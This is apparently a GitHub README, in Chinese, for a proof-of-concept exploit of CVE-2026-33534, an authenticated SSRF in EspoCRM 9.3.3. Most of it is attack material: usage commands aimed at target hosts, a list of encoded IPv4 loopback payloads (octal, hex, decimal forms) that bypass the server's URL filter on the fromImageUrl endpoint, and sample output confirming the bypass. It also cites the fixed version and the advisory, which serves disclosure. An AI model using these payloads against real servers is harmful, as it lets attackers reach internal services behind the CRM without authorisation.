EntroVyx/CVE-2026-33534

GitHub: EntroVyx/CVE-2026-33534

针对EspoCRM 9.3.3已认证SSRF漏洞的概念验证工具,通过替代IPv4环回表示法绕过URL过滤限制。

Stars: 0 | Forks: 0

# CVE-2026-33534 - EspoCRM 9.3.3 认证后 SSRF EspoCRM 9.3.3 认证后 SSRF 概念验证,通过 `/api/v1/Attachment/fromImageUrl` 端点中的替代 IPv4 环回表示法实现。 ## 概述 EspoCRM 9.3.3 会拦截 `http://127.0.0.1/...` 等直接的环回 URL,但其服务端获取路径接受替代的 IPv4 表示法,这些表示法会被 cURL 规范化为环回地址。这允许具有受影响的附件/图片上传流程访问权限的认证用户,让 EspoCRM 服务器获取内部资源。 该漏洞利用程序首先提交一个直接的 `127.0.0.1` 控制请求,并预期其被 HTTP `403` 拦截。然后测试多个编码后的环回 payload,并报告哪些 payload 成功生成了已保存的附件。 ## 受影响版本 - 漏洞版本:EspoCRM 9.3.3 - 修复版本:EspoCRM 9.3.4 - 安全公告:https://github.com/espocrm/espocrm/security/advisories/GHSA-h7gx-8gwv-7g73 - CVE:CVE-2026-33534 - CWE:CWE-918 ## 环境要求 - Python 3 - `requests` - 有效的 EspoCRM 凭据 - 使用目标图片/附件字段的权限 安装依赖: ``` python3 -m pip install requests ``` ## 使用说明 针对运行在端口 `8083` 上的 EspoCRM 实例进行基本本地验证: ``` python3 CVE-2026-33534.py \ -u http://127.0.0.1:8083 \ -U admin \ -P 'Admin12345!' \ --internal-port 8083 \ --cleanup ``` 测试自定义端口和路径上的内部服务: ``` python3 CVE-2026-33534.py \ -u https://target.example \ -U user \ -P 'password' \ --internal-port 9002 \ --internal-path /interno.png \ --cleanup ``` 仅使用自定义 payload: ``` python3 CVE-2026-33534.py \ -u https://target.example \ -U user \ -P 'password' \ --no-default-payloads \ --payload 0x7f000001 \ --payload 2130706433 ``` ## 默认 Payload 该漏洞利用程序默认测试以下环回主机表示法: ``` 0177.0.0.1 0177.0000.0000.0001 0177.1 0x7f.0.0.1 0x7f.0x0.0x0.0x1 0x7f000001 2130706433 017700000001 127.1 127.0.1 127.000.000.001 0000000000000000000000000177.0.0.1 ``` 支持自定义 payload 文件。每行可以是以下格式之一: ``` host label=host ``` 示例: ``` hex-dword=0x7f000001 decimal-dword=2130706433 ``` 运行命令: ``` python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload-file payloads.txt ``` ## 选项 ``` -u, --url Base EspoCRM URL -U, --username EspoCRM username -P, --password EspoCRM password --internal-port Internal loopback port to fetch --internal-path Internal path to fetch --payload Additional loopback host notation --payload-file File with one host payload per line --no-default-payloads Use only custom payloads --field Attachment field, default: avatar --parent-type Parent entity type, default: User --parent-id Optional parent entity id --cleanup Delete attachments created by successful payloads --stop-on-first Stop after the first successful bypass --insecure Disable TLS certificate verification ``` ## 预期输出 成功利用会显示直接的环回控制请求被拦截,且一个或多个编码的 payload 被接受: ``` [*] Control response: HTTP 403 Not allowed URL. [+] octal dotted 0177.0.0.1 HTTP 200 id=... type=image/svg+xml size=4438 [+] hex dword 0x7f000001 HTTP 200 id=... type=image/svg+xml size=4438 [+] Vulnerable behavior confirmed. [+] Direct loopback control: HTTP 403 [+] Successful payloads: 12 ``` ## 注意事项 - 默认的 PoC 从目标自身的环回监听器获取 `/client/img/logo-light.svg`。如果是针对其他内部服务,请调整 `--internal-port` 和 `--internal-path`。 - 默认字段为 `User.avatar`;如果测试的账户需要不同的上传上下文,请使用 `--field`、`--parent-type` 和 `--parent-id`。 - 在测试期间使用 `--cleanup` 可自动删除已创建的附件。
标签:Authenticated SSRF, CISA项目, cURL绕过, CVE, CVE-2026-33534, CWE-918, EspoCRM, GitHub Advisory, IPv4回环地址绕过, IP地址混淆, OpenVAS, PHP, PoC, Proof-of-Concept, Python, SSRF, Web安全, 数字签名, 无后门, 暴力破解, 替代IPv4表示法, 服务器端请求伪造, 网络安全, 蓝队分析, 认证后SSRF, 访问控制绕过, 逻辑漏洞, 隐私保护